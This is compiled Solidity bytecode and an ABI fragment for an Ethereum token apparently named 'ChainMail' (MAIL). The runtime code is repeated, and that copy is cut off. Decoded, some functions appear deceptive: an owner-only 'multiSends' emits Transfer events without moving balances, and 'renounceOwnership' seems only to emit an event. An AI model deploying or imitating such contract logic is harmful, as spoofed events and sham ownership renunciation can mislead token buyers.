,"outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCanUnlockWithFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMaxLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setReceiversAndShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTaxReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setUnlockFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f436861696e4d61696c00000000000000000000000000000000000000000000008152505f908162000049919062000f32565b506040518060400160405280600481526020017f4d41494c000000000000000000000000000000000000000000000000000000008152506001908162000090919062000f32565b50600560025f6101000a81548160ff021916908360ff1602179055506005600260016101000a81548160ff021916908360ff16021790555073fecaa29bec236821b59c0d1522628c26ed51e681600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f6a6a34f5e59635278d35ab44d824d6bd243d0b1600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507378120e9dbf8db70ec6774cdee701b0d1f9077e77600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a73466570e3ef06bc933b5d30338073896df2427600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738821d4f30b819d17db99ae6c9c2f619c12d5d531600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000278575f80fd5b5033600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460466012600a620003be91906200119f565b633b9aca00620003cf9190620011ef565b620003db9190620011ef565b620003e7919062001266565b60045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620005279190620012ae565b60405180910390a36064600a6012600a6200054391906200119f565b633b9aca00620005549190620011ef565b620005609190620011ef565b6200056c919062001266565b60045f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620006ac9190620012ae565b60405180910390a3606460056012600a620006c891906200119f565b633b9aca00620006d99190620011ef565b620006e59190620011ef565b620006f1919062001266565b60045f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620008319190620012ae565b60405180910390a3606460056012600a6200084d91906200119f565b633b9aca006200085e9190620011ef565b6200086a9190620011ef565b62000876919062001266565b60045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620009b69190620012ae565b60405180910390a3606460056012600a620009d291906200119f565b633b9aca00620009e39190620011ef565b620009ef9190620011ef565b620009fb919062001266565b60045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000b3b9190620012ae565b60405180910390a3606460056012600a62000b5791906200119f565b633b9aca0062000b689190620011ef565b62000b749190620011ef565b62000b80919062001266565b60045f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000cc09190620012ae565b60405180910390a3620012c9565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d4a57607f821691505b60208210810362000d605762000d5f62000d05565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000dc47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d87565b62000dd0868362000d87565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000e1a62000e1462000e0e8462000de8565b62000df1565b62000de8565b9050919050565b5f819050919050565b62000e358362000dfa565b62000e4d62000e448262000e21565b84845462000d93565b825550505050565b5f90565b62000e6362000e55565b62000e7081848462000e2a565b505050565b5b8181101562000e975762000e8b5f8262000e59565b60018101905062000e76565b5050565b601f82111562000ee65762000eb08162000d66565b62000ebb8462000d78565b8101602085101562000ecb578190505b62000ee362000eda8562000d78565b83018262000e75565b50505b505050565b5f82821c905092915050565b5f62000f085f198460080262000eeb565b1980831691505092915050565b5f62000f22838362000ef7565b9150826002028217905092915050565b62000f3d8262000cce565b67ffffffffffffffff81111562000f595762000f5862000cd8565b5b62000f65825462000d32565b62000f7282828562000e9b565b5f60209050601f83116001811462000fa8575f841562000f93578287015190505b62000f9f858262000f15565b8655506200100e565b601f19841662000fb88662000d66565b5f5b8281101562000fe15784890151825560018201915060208501945060208101905062000fba565b8683101562001001578489015162000ffd601f89168262000ef7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620010a05780860481111562001078576200107762001016565b5b6001851615620010885780820291505b8081029050620010988562001043565b945062001058565b94509492505050565b5f82620010ba57600190506200118c565b81620010c9575f90506200118c565b8160018114620010e25760028114620010ed5762001123565b60019150506200118c565b60ff84111562001102576200110162001016565b5b8360020a9150848211156200111c576200111b62001016565b5b506200118c565b5060208310610133831016604e8410600b84101617156200115d5782820a90508381111562001157576200115662001016565b5b6200118c565b6200116c84848460016200104f565b9250905081840481111562001186576200118562001016565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620011ab8262000de8565b9150620011b88362001193565b9250620011e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010a9565b905092915050565b5f620011fb8262000de8565b9150620012088362000de8565b9250828202620012188162000de8565b9150828204841483151762001232576200123162001016565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620012728262000de8565b91506200127f8362000de8565b92508262001292576200129162001239565b5b828204905092915050565b620012a88162000de8565b82525050565b5f602082019050620012c35f8301846200129d565b92915050565b61200b80620012d75f395ff3fe60806040526004361061010c575f3560e01c806370a0823111610094578063a9059cbb11610063578063a9059cbb1461031b578063b22c95e714610357578063c9567bf91461037f578063d9ea5d0e14610395578063dd62ed3e146103ab57610113565b806370a08231146102895780638ccfe1bc146102c557806395d89b41146102db57806396edc7941461030557610113565b806319ed6cd3116100db57806319ed6cd3146101cf57806322893bac146101e557806323b872dd146101fb578063313ce5671461023757806338bf3cfa1461026157610113565b806306fdde0314610117578063095ea7b3146101415780631277e7091461017d57806318160ddd146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b6103e7565b604051610138919061172a565b60405180910390f35b34801561014c575f80fd5b50610167600480360381019061016291906117df565b610476565b6040516101749190611837565b60405180910390f35b348015610188575f80fd5b506101a3600480360381019061019e9190611886565b610563565b005b3480156101b0575f80fd5b506101b96105f7565b6040516101c691906118d3565b60405180910390f35b3480156101da575f80fd5b506101e3610617565b005b3480156101f0575f80fd5b506101f96106a7565b005b348015610206575f80fd5b50610221600480360381019061021c91906118ec565b610737565b60405161022e9190611837565b60405180910390f35b348015610242575f80fd5b5061024b6107da565b604051610258919061194b565b60405180910390f35b34801561026c575f80fd5b5061028760048036038101906102829190611964565b6107df565b005b348015610294575f80fd5b506102af60048036038101906102aa9190611964565b6108e3565b6040516102bc91906118d3565b60405180910390f35b3480156102d0575f80fd5b506102d96108f8565b005b3480156102e6575f80fd5b506102ef610988565b6040516102fc919061172a565b60405180910390f35b348015610310575f80fd5b50610319610a18565b005b348015610326575f80fd5b50610341600480360381019061033c91906117df565b610aa8565b60405161034e9190611837565b60405180910390f35b348015610362575f80fd5b5061037d60048036038101906103789190611a45565b610abc565b005b34801561038a575f80fd5b50610393610c09565b005b3480156103a0575f80fd5b506103a9610c97565b005b3480156103b6575f80fd5b506103d160048036038101906103cc9190611ad6565b610d27565b6040516103de91906118d3565b60405180910390f35b60605f80546103f590611b41565b80601f016020809104026020016040519081016040528092919081815260200182805461042190611b41565b801561046c5780601f106104435761010080835404028352916020019161046c565b820191905f5260205f20905b81548152906001019060200180831161044f57829003601f168201915b5050505050905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161055191906118d3565b60405180910390a36001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105f38282610d47565b5050565b6012600a6106059190611ccd565b633b9aca006106149190611d17565b81565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461072d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b5f8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107bf9190611d58565b925050819055506107d1848484610d80565b90509392505050565b601281565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610865576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6004602052805f5260405f205f915090505481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097e576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b60606001805461099790611b41565b80601f01602080910402602001604051908101604052809291908181526020018280546109c390611b41565b8015610a0e5780601f106109e557610100808354040283529160200191610a0e565b820191905f5260205f20905b8154815290600101906020018083116109f157829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a9e576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b5f610ab4338484610d80565b905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610c0157848482818110610b6257610b61611d8b565b5b9050602002016020810190610b779190611964565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610bd857610bd7611d8b565b5b90506020020135604051610bec91906118d3565b60405180910390a38080600101915050610b44565b505050505050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c61575f80fd5b600760159054906101000a900460ff1615610c7a575f80fd5b6001600760156101000a81548160ff021916908315150217905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d1d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600381905550565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b8160025f6101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b5f600760159054906101000a900460ff1680610de8575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610e3f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610e47575f80fd5b600760159054906101000a900460ff16158015610eb057505f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610ebb57505f82115b15610f01578260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f4d9190611d58565b9250508190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610fbd5750600760149054906101000a900460ff16155b801561102e575060646012600a610fd49190611ccd565b633b9aca00610fe39190611d17565b610fed9190611de5565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015611087575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156112d0576001600760146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156110c3576110c2611e15565b5b6040519080825280602002602001820160405280156110f15781602001602082028036833780820191505090505b50905030815f8151811061110857611107611d8b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061116b5761116a611d8b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a6111e59190611ccd565b633b9aca006111f49190611d17565b6111fe9190611de5565b5f8430426040518663ffffffff1660e01b8152600401611222959493929190611f4a565b5f604051808303815f87803b158015611239575f80fd5b505af115801561124b573d5f803e3d5ffd5b5050505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156112b3573d5f803e3d5ffd5b505f600760146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561131f575060011515600760159054906101000a900460ff161515145b1561141d575f606460065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461139057600260019054906101000a900460ff166113a0565b60025f9054906101000a900460ff165b60ff16846113ae9190611d17565b6113b89190611de5565b905080836113c69190611d58565b92508060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114149190611fa2565b92505081905550505b8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114699190611fa2565b9250508190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361154f578273ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161154291906118d3565b60405180910390a3611695565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361162e5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162191906118d3565b60405180910390a3611694565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161168b91906118d3565b60405180910390a35b5b600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116d75780820151818401526020810190506116bc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116fc826116a0565b61170681856116aa565b93506117168185602086016116ba565b61171f816116e2565b840191505092915050565b5f6020820190508181035f83015261174281846116f2565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61177b82611752565b9050919050565b61178b81611771565b8114611795575f80fd5b50565b5f813590506117a681611782565b92915050565b5f819050919050565b6117be816117ac565b81146117c8575f80fd5b50565b5f813590506117d9816117b5565b92915050565b5f80604083850312156117f5576117f461174a565b5b5f61180285828601611798565b9250506020611813858286016117cb565b9150509250929050565b5f8115159050919050565b6118318161181d565b82525050565b5f60208201905061184a5f830184611828565b92915050565b5f60ff82169050919050565b61186581611850565b811461186f575f80fd5b50565b5f813590506118808161185c565b92915050565b5f806040838503121561189c5761189b61174a565b5b5f6118a985828601611872565b92505060206118ba85828601611872565b9150509250929050565b6118cd816117ac565b82525050565b5f6020820190506118e65f8301846118c4565b92915050565b5f805f606084860312156119035761190261174a565b5b5f61191086828701611798565b935050602061192186828701611798565b9250506040611932868287016117cb565b9150509250925092565b61194581611850565b82525050565b5f60208201905061195e5f83018461193c565b92915050565b5f602082840312156119795761197861174a565b5b5f61198684828501611798565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126119b0576119af61198f565b5b8235905067ffffffffffffffff8111156119cd576119cc611993565b5b6020830191508360208202830111156119e9576119e8611997565b5b9250929050565b5f8083601f840112611a0557611a0461198f565b5b8235905067ffffffffffffffff811115611a2257611a21611993565b5b602083019150836020820283011115611a3e57611a3d611997565b5b9250929050565b5f805f805f60608688031215611a5e57611a5d61174a565b5b5f611a6b88828901611798565b955050602086013567ffffffffffffffff811115611a8c57611a8b61174e565b5b611a988882890161199b565b9450945050604086013567ffffffffffffffff811115611abb57611aba61174e565b5b611ac7888289016119f0565b92509250509295509295909350565b5f8060408385031215611aec57611aeb61174a565b5b5f611af985828601611798565b9250506020611b0a85828601611798565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b5857607f821691505b602082108103611b6b57611b6a611b14565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611bf357808604811115611bcf57611bce611b71565b5b6001851615611bde5780820291505b8081029050611bec85611b9e565b9450611bb3565b94509492505050565b5f82611c0b5760019050611cc6565b81611c18575f9050611cc6565b8160018114611c2e5760028114611c3857611c67565b6001915050611cc6565b60ff841115611c4a57611c49611b71565b5b8360020a915084821115611c6157611c60611b71565b5b50611cc6565b5060208310610133831016604e8410600b8410161715611c9c5782820a905083811115611c9757611c96611b71565b5b611cc6565b611ca98484846001611baa565b92509050818404811115611cc057611cbf611b71565b5b81810290505b9392505050565b5f611cd7826117ac565b9150611ce283611850565b9250611d0f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611bfc565b905092915050565b5f611d21826117ac565b9150611d2c836117ac565b9250828202611d3a816117ac565b91508282048414831517611d5157611d50611b71565b5b5092915050565b5f611d62826117ac565b9150611d6d836117ac565b9250828203905081811115611d8557611d84611b71565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611def826117ac565b9150611dfa836117ac565b925082611e0a57611e09611db8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f611e6e611e69611e6484611e42565b611e4b565b6117ac565b9050919050565b611e7e81611e54565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611eb681611771565b82525050565b5f611ec78383611ead565b60208301905092915050565b5f602082019050919050565b5f611ee982611e84565b611ef38185611e8e565b9350611efe83611e9e565b805f5b83811015611f2e578151611f158882611ebc565b9750611f2083611ed3565b925050600181019050611f01565b5085935050505092915050565b611f4481611771565b82525050565b5f60a082019050611f5d5f8301886118c4565b611f6a6020830187611e75565b8181036040830152611f7c8186611edf565b9050611f8b6060830185611f3b565b611f9860808301846118c4565b9695505050505050565b5f611fac826117ac565b9150611fb7836117ac565b9250828201905080821115611fcf57611fce611b71565b5b9291505056fea2646970667358221220e6f10854ae78c89560a66f756650cb74144057af8df2214d988c42b972ef1d8064736f6c63430008160033

0x60806040526004361061010c575f3560e01c806370a0823111610094578063a9059cbb11610063578063a9059cbb1461031b578063b22c95e714610357578063c9567bf91461037f578063d9ea5d0e14610395578063dd62ed3e146103ab57610113565b806370a08231146102895780638ccfe1bc146102c557806395d89b41146102db57806396edc7941461030557610113565b806319ed6cd3116100db57806319ed6cd3146101cf57806322893bac146101e557806323b872dd146101fb578063313ce5671461023757806338bf3cfa1461026157610113565b806306fdde0314610117578063095ea7b3146101415780631277e7091461017d57806318160ddd146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b6103e7565b604051610138919061172a565b60405180910390f35b34801561014c575f80fd5b50610167600480360381019061016291906117df565b610476565b6040516101749190611837565b60405180910390f35b348015610188575f80fd5b506101a3600480360381019061019e9190611886565b610563565b005b3480156101b0575f80fd5b506101b96105f7565b6040516101c691906118d3565b60405180910390f35b3480156101da575f80fd5b506101e3610617565b005b3480156101f0575f80fd5b506101f96106a7565b005b348015610206575f80fd5b50610221600480360381019061021c91906118ec565b610737565b60405161022e9190611837565b60405180910390f35b348015610242575f80fd5b5061024b6107da565b604051610258919061194b565b60405180910390f35b34801561026c575f80fd5b5061028760048036038101906102829190611964565b6107df565b005b348015610294575f80fd5b506102af60048036038101906102aa9190611964565b6108e3565b6040516102bc91906118d3565b60405180910390f35b3480156102d0575f80fd5b506102d96108f8565b005b3480156102e6575f80fd5b506102ef610988565b6040516102fc919061172a565b60405180910390f35b348015610310575f80fd5b50610319610a18565b005b348015610326575f80fd5b50610341600480360381019061033c91906117df565b610aa8565b60405161034e9190611837565b60405180910390f35b348015610362575f80fd5b5061037d60048036038101906103789190611a45565b610abc565b005b34801561038a575f80fd5b50610393610c09565b005b3480156103a0575f80fd5b506103a9610c97565b005b3480156103b6575f80fd5b506103d160048036038101906103cc9190611ad6565b610d27565b6040516103de91906118d3565b60405180910390f35b60605f80546103f590611b41565b80601f016020809104026020016040519081016040528092919081815260200182805461042190611b41565b801561046c5780601f106104435761010080835404028352916020019161046c565b820191905f5260205f20905b81548152906001019060200180831161044f57829003601f168201915b5050505050905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161055191906118d3565b60405180910390a36001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105f38282610d47565b5050565b6012600a6106059190611ccd565b633b9aca006106149190611d17565b81565b60075f9054906101000a900473ff